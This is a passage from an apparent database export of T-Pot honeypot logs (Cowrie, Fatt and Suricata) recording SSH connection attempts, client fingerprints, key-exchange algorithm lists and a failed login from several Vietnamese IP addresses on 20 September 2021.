"ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38516, "dest_port": 22, "timestamp": "2021-09-20T11:13:26.123095", "@timestamp": "2021-09-20T11:13:26.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26948	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:26.215882+03	2021-09-20 14:15:13.934646+03	{"_id": "vQbpAnwBvYTbRNuEJiTt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "9ac8ae280a7a", "@version": "1", "duration": 4.032764911651611, "timestamp": "2021-09-20T11:13:26.215882Z", "@timestamp": "2021-09-20T11:13:26.215Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26949	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:18.56127+03	2021-09-20 14:15:13.936646+03	{"_id": "aAbpAnwBvYTbRNuEBySl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f876c3922047", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:18.561270Z", "@timestamp": "2021-09-20T11:13:18.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26950	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:18.576873+03	2021-09-20 14:15:13.937646+03	{"_id": "bQbpAnwBvYTbRNuECiTc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56166, "dest_port": 22, "timestamp": "2021-09-20T11:13:18.576873", "@timestamp": "2021-09-20T11:13:18.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26951	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:19.394711+03	2021-09-20 14:15:13.939645+03	{"_id": "cgbpAnwBvYTbRNuECySO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:42372 (192.168.176.2:22) [session: df9e740fbef6]", "session": "df9e740fbef6", "@version": "1", "protocol": "ssh", "src_port": 42372, "dest_port": 22, "timestamp": "2021-09-20T11:13:19.394711Z", "@timestamp": "2021-09-20T11:13:19.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26952	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:18.823066+03	2021-09-20 14:15:13.940644+03	{"_id": "cQbpAnwBvYTbRNuECySN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "8fbef170f13c", "@version": "1", "duration": 7.359483480453491, "timestamp": "2021-09-20T11:13:18.823066Z", "@timestamp": "2021-09-20T11:13:18.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26953	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:19.442813+03	2021-09-20 14:15:13.941645+03	{"_id": "dgbpAnwBvYTbRNuECySO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "df9e740fbef6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:19.442813Z", "@timestamp": "2021-09-20T11:13:19.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26954	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:13:19.675423+03	2021-09-20 14:15:13.942646+03	{"_id": "dwbpAnwBvYTbRNuEDSSX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1312041320038593, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42372, "dest_port": 22, "timestamp": "2021-09-20T11:13:19.675423Z", "@timestamp": "2021-09-20T11:13:19.675Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26955	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:19.675693+03	2021-09-20 14:15:13.945644+03	{"_id": "eQbpAnwBvYTbRNuEDiTF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42372, "timestamp": "2021-09-20T11:13:19.675693", "@timestamp": "2021-09-20T11:13:19.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26967	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:14.339749+03	2021-09-20 14:15:13.961646+03	{"_id": "WgboAnwBvYTbRNuE-CQB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "08ae133585e1", "@version": "1", "duration": 2.7400364875793457, "timestamp": "2021-09-20T11:13:14.339749Z", "@timestamp": "2021-09-20T11:13:14.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26956	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:19.676372+03	2021-09-20 14:15:13.946646+03	{"_id": "ewbpAnwBvYTbRNuEDyR2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "df9e740fbef6", "@version": "1", "timestamp": "2021-09-20T11:13:19.676372Z", "@timestamp": "2021-09-20T11:13:19.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26957	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:21.502778+03	2021-09-20 14:15:13.948645+03	{"_id": "fQbpAnwBvYTbRNuEEyRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [help/1111] failed", "session": "df9e740fbef6", "@version": "1", "password": "1111", "username": "help", "timestamp": "2021-09-20T11:13:21.502778Z", "@timestamp": "2021-09-20T11:13:21.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26958	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:11.87373+03	2021-09-20 14:15:13.949645+03	{"_id": "LQboAnwBvYTbRNuE7iRT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 649665020686841, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55578, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.873730Z", "@timestamp": "2021-09-20T11:13:11.873Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26959	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:11.899916+03	2021-09-20 14:15:13.950646+03	{"_id": "LgboAnwBvYTbRNuE7iRT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1061174427202588, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49414, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.899916Z", "@timestamp": "2021-09-20T11:13:11.899Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26960	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:11.624768+03	2021-09-20 14:15:13.951646+03	{"_id": "LwboAnwBvYTbRNuE7ySB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49414, "timestamp": "2021-09-20T11:13:11.624768", "@timestamp": "2021-09-20T11:13:11.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
